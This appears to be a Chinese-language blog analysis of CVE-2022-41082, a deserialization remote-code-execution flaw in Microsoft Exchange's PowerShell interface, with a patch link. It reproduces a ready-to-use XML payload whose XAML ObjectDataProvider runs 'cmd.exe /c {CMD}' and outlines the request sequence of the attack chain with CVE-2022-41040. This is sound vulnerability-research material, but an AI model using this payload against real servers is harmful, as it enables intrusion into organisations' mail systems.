CVE-2022-41082:Microsoft Exchange 反序列化类型混淆 RCE 漏洞简单分析

简介

  • 漏洞编号:CVE-2022-41082
  • 漏洞类型:类型混淆
  • 软件名称:Microsoft Exchange
  • 模块名称:Exchange 服务 powershell 接口模块
  • 历史漏洞:易受攻击的流行软件
  • 影响的版本:Microsoft Exchange Server 2019 2016 2013
  • 攻击利用:检测到在野利用

原因分析

  • 通过 CVE-2022-41040 能够开启 Exchange 服务器的远程 powershell 支持,进而可以通过 powershell 传递序列化对象,序列化对象通过 xml 文件协议定义
  • 具体的 xml poc 如下所示,poc 中的序列化数据中定义了一个类型为 System.ServiceProcess.ServiceController 的序列化对象,该序列化对象在 Props 标签中内嵌了一个名称为 TargetTypeForDeserialization 的对象,Props 标签中返回自定义的反序列化对象类型
<Obj RefId="13"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><S N="N">-Identity:</S><!--Object type section--><Obj N="V" RefId="14"><TN RefId="2"><T>System.ServiceProcess.ServiceController</T><T>System.Object</T></TN><ToString>System.ServiceProcess.ServiceController</ToString><Props><S N="Name">Type</S><Obj N="TargetTypeForDeserialization"><TN RefId="2"><T>System.Exception</T><T>System.Object</T></TN><MS><BA N="SerializationData">AAEAAAD/AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA></MS></Obj></Props><S><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]></S></Obj></MS>
</Obj>
  • 当 Exchange 服务器拿到 xml 序列化数据后就开始调用 InternalDeserializer->ReadOneObject 进行反序列化
    在这里插入图片描述

  • 如果对象 Props 标签中内嵌了名称为 TargetTypeForDeserialization 的对象,则通过 ReadOneDeserializedObject->ReadPSObject 获取 props 属性中的自定义的反序列化对象
    在这里插入图片描述

  • ReadOneObject->GetTargetTypeForDeserialization 函数会根据 TargetTypeForDeserialization 中的信息返回自定义反序列化对象的类型,这里类型为 System.Exception
    在这里插入图片描述

  • 而 System.Exception 通过 Microsoft.Exchange.Data.SerializationTypeConverter 的 DeserializeObject 函数对 Props 标签中的内嵌对象的 SerializationData 数据进行反序列化

  • 由于 SerializationData 中保存的是序列化后的 System.UnitySerializationHolder 对象,所以反序列化后也应该为 System.UnitySerializationHolder,但是被修改为了 System.Windows.Markup.XamlReader 对象

  • 内嵌对象处理完成之后,接下来进一步反序列化 ServiceController 对象,但由于 ServiceController 在 types.ps1xml 中并没有定义 TargetTypeForDeserialization 信息,所以会在 Props 标签内嵌的 obj 中寻找 TargetTypeForDeserialization 属性,从而将反序列化的属性定义为 XamlReader,然后就会调用其 Parse 方法反序列化 S 标签中的数据

构建与利用

利用姿势

  • 通过修改 S 标签中的属性为如下 xml 数据,并求改 {CMD} 为执行的 cmd 命令从而执行任意代码
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>
]]>

poc 的构建流程

  • 该漏洞需要配合 CVE-2022-41040(SSRF) 来形成完整的攻击链,通过 CVE-2022-41040 通过注册用户的用户名和密码进行认证,认证成功之后就可以和 Exchange 服务器的 powershell 接口进行交互,从而伪造序列化请求

  • CVE-2022-41040 利用成功之后,通过构造用于初始化 session 和初始化运行空间池的结构,并对此结构进行序列化操作
    在这里插入图片描述

  • 之后构造特殊的 POST 请求数据发送到服务器的 /powershell 接口,在响应中提取 shellid,该值用于维持与服务器的连接
    在这里插入图片描述

  • 然后替换掉载荷的 CMD 命令,序列化后放到新的 POST 请求里在发送到服务器,这样就完成了 RCE 操作
    在这里插入图片描述
    在这里插入图片描述

缓解

  • 补丁下载:https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2022-41082

参考

  • https://blog.caspersun.club/2022/12/19/proxynotshell/proxynotshell/
  • https://xz.aliyun.com/t/12634
  • https://starlabs.sg/blog/2023/04-microsoft-exchange-powershell-remoting-deserialization-leading-to-rce-cve-2023-21707/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/168715.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Git】升级MacOS系统,git命令无法使用

终端执行git命令报错 xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun安装这个东东&#xff0c;&#xff1f;需要42小时 最终解决&#xff1a; 下载安装 https…

【OpenCV实现鼠标绘图,轨迹栏做调色板,图像的基本操作】

文章目录 鼠标绘图轨迹栏做调色板图像的基本操作 鼠标绘图 在OpenCV中操作鼠标事件 函数&#xff1a;cv.setMouseCallback() 目的是在鼠标双击的地方画一个圆。首先&#xff0c;我们需要创建一个鼠标回调函数&#xff0c;该函数会在鼠标事件发生时执行。鼠标事件包括左键按下…

python基础语法(4)

基础语法 前言文件文件是什么文件路径文件操作1.打开文件2. 关闭文件3.写文件4. 读文件5.上下文管理器 库使用库标准库第三方库 前言 本文基于pycharm编译器&#xff0c;也可以使用Anaconda 里的编译器&#xff0c;将讲解一些python的一些基础语法知识&#xff0c;是对上篇文章…

Kubernetes技术与架构-网络 3

Kubernetes集群支持为Pod或者Service申请IPV4或者IPV6的地址空间。 kube-apiserver --service-cluster-ip-range<IPv4 CIDR>,<IPv6 CIDR> kube-controller-manager --cluster-cidr<IPv4 CIDR>,<IPv6 CIDR> --service-cluster-ip-range<IPv4 CI…

论坛介绍|COSCon'23 开源百宝箱(T)

众多开源爱好者翘首期盼的开源盛会&#xff1a;第八届中国开源年会&#xff08;COSCon23&#xff09;将于 10月28-29日在四川成都市高新区菁蓉汇举办。本次大会的主题是&#xff1a;“开源&#xff1a;川流不息、山海相映”&#xff01;各位新老朋友们&#xff0c;欢迎到成都&a…

proxmox pve /dev/mapper/pve-root扩容

vgs3 pvs4 vgs5 lvs6 lvremove /dev/pve/data8 lvresize -l 100%FREE /dev/pve/root9 resize2fs /dev/mapper/pve-root 10 history

安卓 实现60s倒计时的CountDownTimer(小坑)

安卓 实现60s倒计时的CountDownTimer&#xff08;小坑&#xff09; 前言一、CountDownTimer 是什么&#xff1f;二、代码示例1.使用2.小坑的点误差及时取消 总结 前言 前段时间写倒计时没有用线程&#xff0c;想换一种实现方式结果踩了个小坑&#xff0c;特此记录。 一、Count…

Rancher部署K8S集群

一、介绍 随着容器的普及和Kubernetes 的日渐成熟&#xff0c;企业内部运行多个Kubernetes 集群已变得颇为常见&#xff0c;然而部署kubernetes集群的方式也多样化&#xff0c;二进制部署、rancher、kubeadm、minikube等。然而本篇文章主要讲解的是如何使用rancher快速部署一个…

Linux笔记之diff工具软件P4merge的使用

Linux笔记之diff工具软件P4merge的使用 code review! 文章目录 Linux笔记之diff工具软件P4merge的使用1.安装和配置2.使用&#xff1a;p4merge a.cc b.cc3.配置git 参考博文: Ubuntu Git可视化比较工具 P4Merge 的安装/配置及使用 1.安装和配置 $ wget https://cdist2.per…

Linux简单安装ffmpeg 实现用PHP压缩音频

一、下载安装 1、官方下载地址&#xff1a;Download FFmpeg 2、下载完上传到服务器然 然后解压就算安装完成了 tar -xf ffmpeg-git-amd64-static.tar.xz 3、然后配置一下全局变量&#xff08;当然也可以不用配置 使用的时候带上文件路径就行&#xff09; cd /usr/bin ln -s…

【Gensim概念】02/3 NLP玩转 word2vec

第二部分 句法 六、句法模型&#xff08;类对象和参数&#xff09; 6.1 数据集的句子查看 classgensim.models.word2vec.BrownCorpus(dirname) Bases: object 迭代句子 Brown corpus (part of NLTK data). 6.2 数据集的句子和gram classgensim.models.word2vec.Heapitem(c…

Web APIs——事件监听以及案例

1、事件监听 什么是事件&#xff1f; 事件是在编程时系统内发生的动作或者发生的事情 比如用户在网页上单击一个按钮 什么是事件监听&#xff1f; 就是让程序检测是否有事件产生&#xff0c;一旦有事件触发&#xff0c;就立即调用一个函数做出响应&#xff0c;也称为绑定事…

pymavlink简单使用

环境 windows10 python3.11 pymavlink2.4.40 工具 虚拟串口工具 Virtual Serial Port Driver 6.9 串口/网络调试助手 sscom5.13.1.exe 串口通信 虚拟串口 COM1, COM2 调试助手连接COM2 pymavlink连接COM1 from pymavlink import mavutil import timeconnect mavut…

UE4 Ultradynamicsky进行地面交互

第一步&#xff1a; 找到地面材质&#xff0c;进入地面材质 找到该节点 找到之前本该连在这里的&#xff0c;现在连到这个节点上&#xff0c;然后把这个节点的输出连到材质输出节点上 新建一个物理材质 然后给过来 找到Ultra_Dynamic_Weather&#xff0c;把Enable Dynamic Lan…

【ArcGIS模型构建器】03:多个shp批量按属性分割(多个县区批量提取乡镇)

文章目录 一、数据预览二、模型构建三、保存模型一、数据预览 加载实验数据: 本试验实现将两个县区的数据分割为乡镇数据。 二、模型构建 1. 添加数据文件夹 将县区数据所在的根目录文件夹拖进模型。 2. 添加要素类迭代器 插入→迭代器→要素类。 用连接工具,将数据文件…

基于Java的疫苗接种管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…

用Rust和cURL库做一个有趣的爬虫

以下是一个使用 Rust 和 cURL 库的下载器程序&#xff0c;用于从wechat下载音频。此程序使用了 [/get_proxy] 提供的代码。 extern crate curl;use std::io::{self, Read}; use std::process::exit; use curl::easy::Easy;fn main() {let url "https://www.wechat.com/au…

第01章-Java语言概述

目录 1 常见DOS命令 常用指令 相对路径与绝对路径 2 转义字符 3 安装JDK与配置环境变量 JDK与JRE JDK的版本 JDK的下载 JDK的安装 配置path环境变量 4 Java程序的编写与执行 5 Java注释 6 Java API文档 7 Java核心机制&#xff1a;JVM 1 常见DOS命令 DOS&#xff08;…

.obj模型文件(带材质和纹理)合并的基本思路

1、将v开头的顶点信息依次拷贝到合并新.obj中 2、将vt纹理坐标依次拷贝到合并新.obj中 3、f&#xff08;面&#xff09;的合并 步骤&#xff1a; &#xff08;1&#xff09;第一个obj文件的f&#xff08;面&#xff09;原封不动拷进新.obj中 &#xff08;2&#xff09;第二个…

GoLong的学习之路(五)语法之数组

书接上回&#xff0c;上回书说到&#xff0c;循环语句&#xff0c;在go中循环语句的少了whlie这个关键词&#xff0c;但是与之for可以改这个改这个特点。并且在终止关键词中&#xff0c;又有标签可以方便&#xff0c;停止。这次说数组 文章目录 Array(数组)数组的初始化方法一方…